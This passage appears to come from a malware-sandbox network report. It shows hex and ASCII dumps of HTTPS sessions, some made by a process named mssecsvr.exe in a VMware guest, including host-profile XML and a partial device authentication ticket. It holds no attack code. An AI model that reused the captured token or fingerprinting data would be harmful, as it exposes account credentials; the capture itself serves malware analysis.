b1 ea 7f d8 3f dd f5 aa 3e 28 d1 f4 1f 82 b0 f8 8e de 7b cd 3f c6 29 aa e9 af 6d Data Ascii: Z13{+#/k-/~ _P5l/\|Q[%GR2>+]BrXF56v^xR\|7-6<Unn$WZ5-?)oJWX`;rvz6"S,gs?>({?)m
2022-07-20 17:31:13 UTC	8162	IN	Data Raw: ef a5 ba cb 47 04 8c 8a bb c7 24 3f d5 78 15 e4 1e 30 b9 4d 6f c4 57 9e 4d 9b 59 a5 b4 85 56 36 63 b9 63 cf c8 af ec a3 a5 3a eb 52 89 6c da 5d ab 14 ec df eb 23 6f f9 6c 7b 93 da a9 5b 3a 6a 0d f6 cb c5 68 af 3e ec b2 2c 85 da 65 ff 00 6b 3e 95 31 4c de a6 2e 55 a8 c2 83 76 b1 b5 a5 78 cf 54 d3 da 0b 63 2c 92 bc 12 79 8b f3 7f a9 51 e9 fe cd 7a dc df 16 34 cd 6b c1 6b a7 f8 8a 76 5b 76 6f 31 97 6e d6 57 07 80 3f bd 9a f0 f7 57 ba ff 00 4b 8d 76 ac 92 6e 55 fe 28 d4 f0 70 3d ea 3d 6a e2 da de 6b 64 0a cb 16 df 2f e6 f9 9a 46 3d f9 fb b4 72 dd 9b 53 c5 56 a0 e4 93 ba 3b cd 0f 5c 96 de de 79 6c ee 64 81 fc d7 56 56 6f 9d 91 b9 5d a3 e9 5e e1 f0 f7 c6 57 1e 0d f0 9c 51 5c 5f 45 73 7f a8 dd a2 c1 05 cf f0 c6 dc 13 f9 f3 5f 36 f8 37 52 d3 f4 bd 4a 28 27 f3 d5 Data Ascii: G$?x0MoWMYV6cc:Rl]#ol{[:jh>,ek>1L.UvxTc,yQz4kkv[vo1nW?WKvnU(p==jkd/F=rSV;\yldVVo]^WQ\_Es_67RJ('
2022-07-20 17:31:13 UTC	8170	IN	Data Raw: 0c 54 72 34 af 23 de c4 e6 1f 59 c4 d3 69 fb 8b 53 e8 ed 53 56 d3 ed f5 0f 0f 38 bc 55 d4 b5 5d f6 96 9f df 87 8f 9e 6f c3 ee 8a d5 d6 ac 25 b5 9a 0d 32 da 08 f6 4b 22 49 24 bf 7b 72 f0 19 98 fb d7 cc d7 de 36 ff 00 84 c3 e2 a5 9e af aa 4f f6 1b 38 23 4b 18 96 d9 b6 2c 78 39 c8 cf a9 ef 5f 46 6a 1a f6 97 e1 7d 06 2d 43 ed 9b 6d e3 52 db ae 5b e6 91 47 40 7d 79 e6 a6 37 b9 ea e1 31 d0 af ed 66 d5 a2 ba 95 7e 20 7c 5b 93 e1 f6 92 de 62 ad ce a9 77 88 b4 88 20 6d a9 b4 65 4c 8c dd 36 a9 23 f1 e2 96 da cf c4 3a ad ac f2 6a 3e 21 db 79 2c 7f 69 96 d3 4f 8b 6a c7 c0 da b9 6f 6f d6 be 7a b5 f1 3d e7 c4 0f 89 56 d7 d6 9a 62 de 5a db 2f 97 f6 4d c7 6b 22 be 4e 01 ef b8 e6 be 98 b0 b0 8e d7 4d 82 fe 79 65 57 68 fc d9 e0 6f bb 1a e7 b9 f6 e2 a1 6c 67 87 c4 4f 19 5a Data Ascii: Tr4#YiSSV8U]o%2K"I${r6O8#K,x9_Fj}-CmR[G@}y71f~ \|[bw meL6#:j>!y,iOjooz=VbZ/Mk"NMyeWholgOZ
2022-07-20 17:31:13 UTC	8171	IN	Data Raw: 4f 10 eb de 21 96 49 d9 53 48 94 c7 22 c8 bf eb 97 fb a0 76 3e f5 ea ba 2e a9 2e b9 e1 f8 2e fc 85 81 56 48 fc bd df c2 80 f5 75 ed fd 6b 29 6e 77 50 8c 6a ca 71 9a d7 f1 39 39 2c 60 d3 d6 5f dd 37 d9 59 5e 38 9b ee ed 75 f6 fa f7 ae 2b 56 b8 b8 b9 8d 6c a2 b6 55 78 e6 76 68 db e5 7f af 3d 7e 95 b5 e2 ef 11 3d be a0 da 76 9c de 7a f2 b2 c9 1f ef 16 46 67 4f f5 62 ad d9 f8 5c c3 fd 9e 97 32 b2 de aa 96 96 39 31 fb ee 87 20 9e b9 ac 79 4e 6a 96 a9 3f 67 1d 91 cb ac 72 f8 5e d6 09 6e f7 5b 7c b2 4b bb ef 6e e3 3c e3 a5 44 da 19 f1 35 8c b6 f7 1b be cf 73 1f 9b 73 72 bf 2c ab d3 18 1e a5 85 75 ba f7 85 e7 d4 2c e7 91 ed 9a 0d 39 9b 76 d5 50 be 4e 78 1c 1e 40 f7 e9 5c de a9 61 26 8b 24 48 67 56 7f 20 48 cd 1b 0d db bd b0 3a 56 91 9b 8e 88 21 1e 56 e9 d4 f8 4f Data Ascii: O!ISH"v>...VHuk)nwPjq99,`_7Y^8u+VlUxvh=~=vzFgOb\291 yNj?gr^n[\|Kn<D5ssr,u,9vPNx@\a&$HgV H:V!VO
2022-07-20 17:31:13 UTC	8187	IN	Data Raw: bf 73 84 f9 e4 1d ab d1 3e 08 fe cf fa 46 a1 e2 89 6c f5 7b 98 ee 56 38 0a ac 0b f3 2e e1 ef de b9 2f 8c 7a 4f fc 23 0b ab d9 db 69 f0 6a 16 51 65 56 05 f9 b6 b0 e8 7f dd 15 ce f0 e9 43 9e 5b 1c f0 9d dd 8e 66 46 f0 d5 c7 83 6c 74 a9 75 7b 9b 9d 47 ed d2 35 95 b4 97 3b 11 a3 8f e6 59 a5 ff 00 67 a2 85 ab 16 3e 1b 9d 7c db 8d 52 58 e7 79 d8 c9 6c d1 e5 3c b0 1c e2 3e 38 e5 7f 1c 57 9b e9 bf d8 d2 68 6b ff 00 09 bb 49 25 c4 53 87 b2 b1 b6 ff 00 5a c8 7e f4 79 1c ed ef 5e de cf 26 b5 71 69 66 59 6d 96 75 48 e2 56 5f f8 f7 51 9c 48 ff 00 45 f9 6b 82 ab e5 57 91 df 4e 3c ee cc e0 2f ed ad ae af 99 1f f7 50 47 1e d9 77 67 73 63 91 8c 72 73 5a 9e 09 9a 2d 7a 1d 4e 59 34 fb 9b 66 b3 68 e2 b4 b6 5c 2a ec 23 e6 91 b3 e9 c7 02 9b aa 69 ff 00 68 8e db 4f b3 8b cf d5 Data Ascii: s>Fl{V8./zO#ijQeVC[fFltu{G5;Yg>\|RXyl<>8WhkI%SZ~y^&qifYmuHV_QHEkWN</PGwgscrsZ-zNY4fh\*#ihO
2022-07-20 17:31:13 UTC	8203	IN	Data Raw: af 89 6c 6f 3c 3d a6 5d dc b5 b6 9b f6 1f b2 58 c7 ce d8 da 53 ba 43 d7 96 e6 95 9f 54 f8 f1 f1 5b 4e f0 f5 ce b5 77 2e 92 b2 99 67 9e f9 b7 45 91 9c a9 c7 ca b9 3d 05 7b fe 87 f0 fe 3b af 10 69 0e 8d 25 cc 56 2b b7 6b 40 55 23 55 3c 72 3b f6 fa 57 85 2b e2 27 2a 8b 63 cb 84 3e bb 88 8d 58 dd 28 bb 2f 35 d4 f4 0d 57 c3 b3 d8 5a e9 5a 7d 83 49 2a 5a db 09 7c c9 1b 73 37 18 c9 f7 a9 ac 21 b7 87 c3 f3 8b d6 f2 ec fc b3 e4 2e dd df 38 f9 7c d3 e8 4f 6a cd f1 36 b9 7b 6d ad 6a 70 47 e5 cb 13 2c 7e 5d cf dd f2 f6 f3 b6 a8 c3 a8 49 a8 59 de 58 45 b6 29 64 5d ad 23 7f 73 1c 1f c0 d7 6d 28 fe ef 97 a9 f5 33 7c d2 bd 8c 3d 63 54 d3 ef 74 bb 98 f4 a8 a0 bb 82 d5 77 35 ca b6 e9 56 4c 1d c1 f3 d3 90 6b 96 b9 d2 19 74 19 ee e2 d4 e3 d3 df 52 6d b2 dd c9 f7 b8 f9 b0 0f Data Ascii: lo<=]XSCT[Nw.gE={;i%V+k@U#U<r;W+'c>X(/5WZZ}IZ\|s7!.8\|Oj6{mjpG,~]IYXE)d]#sm(3\|=cTtw5VLktRm
2022-07-20 17:31:13 UTC	8209	IN	Data Raw: dc dc fc 4c d0 3c 07 63 aa c7 e0 3d 22 39 6e 25 94 db 41 7d 73 18 64 68 c0 01 9b 3d eb 97 b5 9b 54 d5 6e a2 bf d5 f5 09 35 0b 8e 76 ab 37 dd 53 d8 76 c7 e1 59 fe 00 d3 64 d5 ec e5 b5 f1 25 cd a4 12 da ca 22 b4 8e 36 0a f1 c6 33 b8 31 1e fd f1 fc 35 af 73 e2 0d 0e 36 53 a7 ca ac d1 e3 fd 6f cd e7 29 3f c3 8f 41 5e 85 2b 43 73 96 ac dd 47 7b 59 2e 86 fd ce 82 6e 23 8a f2 4b c5 b6 f2 fe 68 e3 66 f9 76 d2 5b 69 b1 dd 34 11 c1 3b 32 4a cf b5 a1 6d cc aa 06 4f eb 55 7c 0d a5 6a 9f 18 fc 55 fd 99 61 02 ad 84 1f bc 9d 9b e5 45 5e 9d 79 c9 1e 95 dc 58 7c 3f d4 74 7f 0b df 48 34 ff 00 f8 9d ad cf 91 1d de ed 90 79 21 b0 71 9e e4 57 44 65 ed aa a6 9d 92 35 85 47 24 ad b1 57 4a bc b9 d1 da c6 da 5f 9b 4e 6f 95 64 fe 38 d8 f6 fa 53 fc 7d 63 13 78 7e d9 25 b9 ff 00 4c Data Ascii: L<c="9n%A}sdh=Tn5v7SvYd%"6315s6So)?A^+CsG{Y.n#Khfv[i4;2JmOU\|jUaE^yX\|?tH4y!qWDe5G$WJ_Nod8S}cx~%L
2022-07-20 17:31:13 UTC	8225	IN	Data Raw: a1 a5 eb 97 37 71 45 1b 27 9f 69 bb 6f 98 83 e5 f3 57 ae 30 a1 58 fb 57 a8 f8 77 c7 fa a2 6b 11 59 c0 db 65 56 f3 15 97 3f f1 ee 7e eb 13 ee bc d2 8c ae 75 e5 b5 a8 c7 4a 89 a7 d4 b9 6b a1 ff 00 c2 07 ad 5c e9 fa 84 1b ac e4 61 e5 47 f7 9e d5 b3 ff 00 8f 2f b5 6b 3f ef ae 9a 78 ac e3 fb 3e dd b1 cf b8 7e f3 f0 fe 1a a7 69 e2 c8 fc 45 ad 4f 6c f2 fd b1 e4 62 df bf 61 f2 b0 e9 b4 8e 6b 53 ed 5a 7b 5d 2c 3f 63 65 8a 5c 2c 8d 0b 7c aa fd eb a6 2d 6c 7b d4 23 09 36 a8 ca f1 5d 8d cd 37 4f b2 ba b5 6d 46 ed 7f d3 63 80 ac 2b 03 15 65 c5 32 6b 7b 87 d5 a0 4b 86 fe d0 bc 8f 4d 30 4a bb 82 c4 ad 9f 4e f9 06 af db 78 24 49 67 f6 8d 3f 53 dc d2 6e 55 8d b0 ad f4 a6 5a e8 9f d8 f0 fd a7 75 b4 57 be 5e d9 6d ae e4 db bb 1c 16 5f 5c 0a 4e cb 53 d6 f6 52 b2 ba d3 43 9c Data Ascii: 7qE'ioW0XWwkYeV?~uJk\aG/k?x>~iEOlbakSZ{],?ce\,\|-l{#6]7OmFc+e2k{KM0JNx$Ig?SnUZuW^m_\NSRC
2022-07-20 17:31:13 UTC	8241	IN	Data Raw: 7f bd 1b 71 89 39 e8 c2 a9 7c 1b f8 9d 65 e3 39 a2 79 2c 64 b6 97 4f b6 2d 2c 96 3f 2a 5c 2a fb 0c 1c f7 ac bd 6a 1d 3b c3 1a f3 5e 5e b5 f5 f6 91 a9 44 5a 38 17 0b 3b 5c 64 e5 59 3d 39 1d 6a ea d2 4e 1c f1 dc fa 8a 15 bd 9c 14 e8 ce f1 be ab b3 7d 4b 16 17 fa 7d 9e a0 de 1f 82 56 d6 b5 69 1b 77 da 59 be 5d a7 9d c4 f4 e3 1d ab 9f f8 8b a2 47 ae 49 ff 00 09 25 9e dd 42 f6 cd 7c bb dd 3e 08 ca 5b 4c 83 df ab 35 63 da f8 d3 4f 49 be cc f6 33 e9 8d 14 8c d1 aa af cc ad e9 bb fa 57 aa e8 b7 d7 1a c6 9f 04 9a 5d 8c 8b a7 48 be 57 99 3b 06 f9 c8 e7 e9 5c 11 96 96 7b 1b 41 d3 c7 42 54 6f ee fe 4d 75 47 cd f7 16 37 17 3b ae 62 b9 f2 91 a3 f3 15 ad 9b e4 64 3f c3 eb c7 4a e5 61 b8 81 99 02 4b b9 55 b7 34 13 af cb bb f1 eb 5e bf e3 ef 87 6f e0 bb c9 6e 3e d9 ff 00 Data Ascii: q9\|e9y,dO-,?\j;^^DZ8;\dY=9jN}K}ViwY]GI%B\|>[L5cOI3W]HW;\{ABToMuG7;bd?JaKU4^on>
2022-07-20 17:31:13 UTC	8249	IN	Data Raw: 04 0b b4 46 b2 7f 17 41 82 47 a9 ea 6a 8e ab 6e 3e cb 39 8e e5 65 91 93 76 e8 d7 f8 bf fd 75 ee 65 53 e5 c6 51 d7 79 25 ff 00 81 7b af f0 6c f8 8a 91 f7 ac de a5 cd 17 50 d4 f5 46 b3 8a d3 c9 8d a6 88 47 e6 7d d5 f9 46 37 37 be 2b 76 df 50 b8 f0 9c 2d 2f 9e b7 cb 13 23 6e 66 fe 10 fe bf ca b8 ef 0b db bd f6 9e b0 99 7c 89 e3 62 d1 c6 bf 7b 70 ef f4 ad cb 8b 3b ef 16 5d 47 a7 e9 30 79 82 58 bf 7b e6 7c a8 a3 af 27 f8 45 79 f5 60 a1 5a 54 fb 37 f9 9b d0 9c d3 ba dc ea af bc 5d a8 df dd 2c ba 37 98 b2 47 3f 98 f3 79 7b 62 8d 09 c8 21 3a b1 06 ba 1b ed 6a da db 4d 80 18 24 95 95 5b cc f3 14 2f cf 8e 0e d1 ee 2b 85 d2 f4 79 b4 fd 62 d2 d2 f3 53 dd 6e d1 88 da 48 3e fa be 3e 5f f8 00 35 d2 bf 88 bf b2 f5 2b 6f b7 c1 e6 34 71 05 bd 93 e5 65 99 bb 10 3e 98 ae 59 Data Ascii: FAGjn>9evueSQy%{lPFG}F77+vP-/#nf\|b{p;]G0yX{\|'Ey`ZT7],7G?y{b!:jM$[/+ybSnH>>_5+o4qe>Y
2022-07-20 17:31:13 UTC	8265	IN	Data Raw: 69 f6 ed 1c b2 fd a4 4b b6 45 df fb 98 b9 66 2a 78 3f 7b 15 e6 df 14 a6 4b ef 15 5e 1f b3 2a e9 b0 aa 44 b0 79 61 63 dc 3e 5c 0c 75 00 f7 af 56 d4 b5 00 ff 00 17 36 4e fe 54 56 b0 49 12 48 bf 22 ac 8e 07 0c de e1 b8 ac 6f 8a 56 76 1a 0e 8b 8f 29 59 af 25 4d aa b8 66 55 19 1c 1e f9 35 51 dc f1 31 b4 15 48 ce 57 b5 9d 8f 33 d2 d5 db 4f b3 8f cd 65 78 db cb 65 db f2 2a 8f 7e b4 52 47 a8 47 a7 dd 45 13 c5 e6 c4 b9 6f bd fc 5d b7 1f ad 15 bd 91 e1 d2 74 f9 77 b1 eb ff 00 1f be 25 78 3b c5 1f 0d 75 0d 0d f5 db 4f 17 4d 63 73 69 2c 1a b5 95 82 db a6 97 1a 11 e6 4e d2 37 cd 2e 46 53 6f 7a c7 fd b7 f5 0f 16 f8 67 c5 1e 18 d6 74 8b 98 e2 f8 57 ab 68 f6 d6 da 53 59 22 6d 85 f0 5d f0 07 76 52 a5 7d b3 56 7f 67 7f 11 78 07 c6 df 1f ac 6c c4 11 ea 1a 7e 9b 64 7e cd 3d Data Ascii: iKEfx?{K^Dyac>\uV6NTVIH"oVv)Y%MfU5Q1HW3Oexe*~RGGEo]tw%x;uOMcsi,N7.FSozgtWhSY"m]vR}Vgxl~d~=
2022-07-20 17:31:13 UTC	8281	IN	Data Raw: be 2d d4 35 0b ff 00 0f 6a b0 7d 9f 55 9c b4 51 ee 4d cb 2b 76 62 71 b0 7d 6b ce f4 fd 2a e3 c4 37 8b 77 a7 58 fd 85 7e fb 46 ad b9 a1 5f ef 0f 5c 57 d2 5f 05 4d a2 c7 3d a5 dc 51 ea ae d1 f9 92 4f 06 5a 2f 25 3b b0 5f ba dd 3f f1 ea b8 54 50 f8 8e ea 74 dc af 73 cb 7c 3d fb 30 5c 68 97 d6 32 6b 1e 23 f2 af d6 70 b1 c1 06 76 48 eb ce df 5f f8 15 7b 7e 97 f0 ba cb c3 fa f3 6a 16 d7 cb be 45 db 73 69 3a 87 da c3 fb ac 4e 2a ed cd f5 e4 de 19 6b bb cd 0e 0d 4e f1 56 49 2d 20 66 44 65 62 50 82 a7 3f 3e 39 fb d5 b5 af 78 7f 53 f1 46 92 ba 5c b6 76 d6 da a2 2c 77 3f 66 b3 93 6b 48 9f c2 18 9f bb 8e 9c fd ea a8 ca 4f 44 76 52 a7 4e 12 bd 45 73 6e f3 44 91 a1 b3 d4 5e 0d b6 72 c9 e5 34 f2 7f b2 73 cf f9 c5 79 67 c4 8f 84 3a 5f 8c 35 89 6f f4 45 b4 d3 de 25 3b 96 Data Ascii: -5j}UQM+vbq}k7wX~F_\W_M=QOZ/%;_?TPts\|=0\h2k#pvH_{~jEsi:NkNVI- fDebP?>9xSF\v,w?fkHODvRNEsnD^r4syg:_5oE%;
2022-07-20 17:31:13 UTC	8289	IN	Data Raw: 6b 21 6f 31 fa 30 5a ec be 28 5c 6b 7e 0b d5 2f 3c 39 69 f6 4f f8 44 25 f2 2e ec a0 58 d3 7a f9 89 fc 52 0e 77 0f ee 9a e1 5b c6 77 0b 6b 63 6f 06 8b 1e 8b 37 9a 16 49 24 c2 ac db 5b f4 19 eb 58 bf 10 bc 49 73 ab 5c 33 5c 45 e7 dc 47 77 b5 64 8f 2c 8a a3 93 c7 f2 35 13 aa a3 4b 95 a6 76 ce ad 2c 3e 17 95 45 dd d8 f6 2d 0f c1 fe 16 f0 f7 c2 9d 5e d3 51 b9 f2 3c 4d 79 21 92 29 e4 5d ad 6f 18 19 02 23 d3 76 ea c9 f8 5b e3 2b 7f 1b 5f 69 f6 b7 33 ac b7 1a 7b 7c d6 d2 47 b5 6e 10 11 89 49 1e b5 c0 78 92 fb 57 f1 16 dd 4f 51 96 7b 6d 12 78 12 da 3d d8 66 dd d3 a0 e9 9a ef 3c 17 f0 8a e3 c3 ba d4 b3 db ea b6 de 6b 40 6f 60 66 f9 59 a6 4c 01 18 f5 56 52 54 d6 10 e4 a8 d7 b2 8e a6 34 64 b1 15 29 3a 50 b3 8e f7 3d 9f c4 fe 22 b3 d2 b4 db 9b 2d 41 5b fd 32 59 27 b9 Data Ascii: k!o10Z(\k~/<9iOD%.XzRw[wkco7I$[XIs\3\EGwd,5Kv,>E-^Q<My!)]o#v[+_i3{\|GnIxWOQ{mx=f<k@o`fYLVRT4d):P="-A[2Y'
2022-07-20 17:31:13 UTC	8305	IN	Data Raw: 2a d3 f7 76 8f f6 1f b0 fc 91 2a 31 62 b9 19 fb e3 de b2 74 f6 be b1 f8 6b 14 b6 f0 47 27 f6 7c f2 49 1d cd cf fa f8 51 d7 ee 85 e9 b7 dc d7 a5 6b 7a c6 bf a6 78 8b 4a f1 44 da 86 9f 79 79 1d f2 47 6d a5 b4 01 ed 95 21 e2 32 73 c6 c1 8f c4 1a f2 af 8a 1e 2d d4 35 bb cd 57 55 95 6c 74 f6 d5 e4 75 97 4d b4 5d 91 46 a4 9d c6 35 1d 01 7c 9c 7b d7 a4 e7 57 13 52 9f 32 bd 99 f2 58 8a 2f 9d 26 ae 3f e1 2e a9 aa ea 9e 2c bc d4 6c bc 9d f0 28 83 74 f8 fd de 46 32 14 ff 00 e8 55 a5 e2 e9 35 5d 1d ad a3 97 cb 66 56 91 bc cb 95 dd f3 3f cc 58 83 fa 57 9e fc 3f c5 9c 97 37 91 5c ee 49 54 3c 5f c2 cc dd b3 eb 5e 81 a7 ea bf da 9a 93 5b 5e 59 b7 9f 23 6d f2 ae ff 00 85 02 7f 16 7d 2b d0 a9 4e 38 ac 44 9d ad ca d2 26 9c 94 fa 59 a3 b8 f8 53 a1 f8 82 fb c3 b6 7e 20 d0 ae Data Ascii: v1btkG'\|IQkzxJDyyGm!2s-5WUltuM]F5\|{WR2X/&?.,l(tF2U5]fV?XW?7\IT<_^[^Y#m}+N8D&YS~
2022-07-20 17:31:13 UTC	8321	IN	Data Raw: b2 b6 df ef 7d 6b a3 f8 6b f0 ce ff 00 e2 57 f6 bc 5a 6d f4 16 73 d8 c0 67 ff 00 4b 6d a9 27 fb 24 f6 27 de aa 4f 94 f3 e5 89 9b a9 cb 05 72 97 8c b5 8b 1d 73 5a 88 e9 d1 35 9d 84 71 15 8f 74 9b 99 7d 8d 7b 57 ec f1 e1 1b 2b ad 35 75 4d 4f 6b 79 9e 64 71 f9 8d f2 6d e9 8c fa d7 8d 68 7f 0e 7c 45 e2 a9 3c bd 33 4a fb 72 c7 29 8a 49 20 60 d1 46 eb d7 27 d2 bd d7 e0 ff 00 c3 9b df 09 43 39 d4 27 da f2 b1 92 35 66 2d 02 e3 8e 07 4e b5 c7 56 6b 95 a3 7c 04 6b ce b2 94 a9 dd 5c 93 c7 be 13 89 34 ff 00 b1 49 6d 6d 15 aa ef 54 5b 6f 95 61 c8 c0 39 ee 73 5e 1d 73 e1 ef ec 6d 42 78 2e 59 65 fb 92 34 eb f2 ab 7a fc a2 be 88 f8 9d 79 1e 97 a2 c4 97 f0 47 7d 3c 6d e5 2f 90 db 95 54 9c 16 f9 6b c0 b5 8f 0c 5e ff 00 c2 51 15 9d a6 9f 26 ab 61 23 a4 ed 6c d2 6d 79 11 c0 Data Ascii: }kkWZmsgKm'$'OrsZ5qt}{W+5uMOkydqmh\|E<3Jr)I `F'C9'5f-NVk\|k\4ImmT[oa9s^smBx.Ye4zyG}<m/Tk^Q&a#lmy
2022-07-20 17:31:13 UTC	8329	IN	Data Raw: d6 7e 11 d1 64 b7 fb 4f 95 67 72 7c 9f 33 ee 2a 02 06 01 eb cf 6a ed 35 af 8e 9f 0e ec 6e a0 db 79 7d a8 5c 2e 91 1d b2 cd b4 ff 00 a2 b2 b8 32 7c b9 f9 98 fa fa 57 8a f8 b7 e2 f6 a9 e2 ad 0f 55 d1 af da 39 34 db ab 91 e4 36 df 9e 14 57 2f fe 1f 95 70 da 0d 8c 1a 8d c3 dc 6d ff 00 43 b6 81 e4 b9 66 fb ec 83 ee e7 d3 27 eb 51 f5 86 a6 dc 4c 65 8d 6a ab 9d 3e c7 be 6a 1e 39 d3 f4 bd 36 c7 57 d3 ae 7f b5 74 eb 35 92 5b 4b 4b 95 f9 19 1f 20 33 0e cc 3d 2b e7 3b 8b a9 61 93 50 d5 1d 96 57 56 dc bb bf 85 9d b9 c0 f6 07 8a 92 e3 5c 96 ea cd ad ed f7 45 6e ca 1a 4f ee b6 38 cd 5c f0 7f 86 ac fc 4d af 45 16 ad aa b6 91 a4 5b 47 e6 de dc c1 8d ff 00 2f cc ab 83 ea 56 b1 85 e7 53 d4 e1 53 a9 88 9b 85 ae 98 ba 6d f6 9f 74 b7 87 55 9e d9 6c 22 5d ca bf 79 76 1c 00 38 Data Ascii: ~dOgr\|3*j5ny}\.2\|WU946W/pmCf'QLej>j96Wt5[KK 3=+;aPWV\EnO8\ME[G/VSSmtUl"]yv8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.7	51021	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:31:22 UTC	8331	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 33 62 64 65 38 64 66 66 66 33 62 65 63 35 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 73bde8dfff3bec50
2022-07-20 17:31:22 UTC	8331	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:31:22 UTC	8331	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 33 62 64 65 38 64 66 66 66 33 62 65 63 35 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 34 45 71 2b 36 31 30 4e 30 56 2f 47 4b 68 48 41 53 56 41 51 6a 6a 47 76 31 2f 5a 5a 41 2f 48 48 31 55 74 54 34 43 65 74 2f 6c 42 35 50 66 47 74 67 69 74 32 38 51 7a 44 75 66 6b 51 31 6c 50 4f 61 31 71 6c 52 4a 44 79 46 44 37 42 65 2f 50 54 54 41 33 2f 54 31 33 6f 67 49 4f 59 66 30 58 63 79 6b 78 36 6f 43 41 56 49 58 35 37 4a 68 74 7a 5a 6d 4c 31 35 49 6c 73 2b 62 30 75 65 47 63 47 64 74 36 79 30 75 52 Data Ascii: ATH 2 CON\DEVICE 1014Context: 73bde8dfff3bec50<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe4Eq+610N0V/GKhHASVAQjjGv1/ZZA/HH1UtT4Cet/lB5PfGtgit28QzDufkQ1lPOa1qlRJDyFD7Be/PTTA3/T13ogIOYf0Xcykx6oCAVIX57JhtzZmL15Ils+b0ueGcGdt6y0uR
2022-07-20 17:31:22 UTC	8332	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 33 62 64 65 38 64 66 66 66 33 62 65 63 35 30 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 73bde8dfff3bec50
2022-07-20 17:31:22 UTC	8332	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:31:22 UTC	8332	IN	Data Raw: 4d 53 2d 43 56 3a 20 41 4e 46 39 37 6a 6b 50 71 55 69 46 37 6b 53 43 6b 78 30 64 52 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: ANF97jkPqUiF7kSCkx0dRQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.7	51203	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:31:28 UTC	8332	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 33 39 35 35 39 31 36 65 34 61 62 34 62 63 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: d3955916e4ab4bcf
2022-07-20 17:31:28 UTC	8332	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
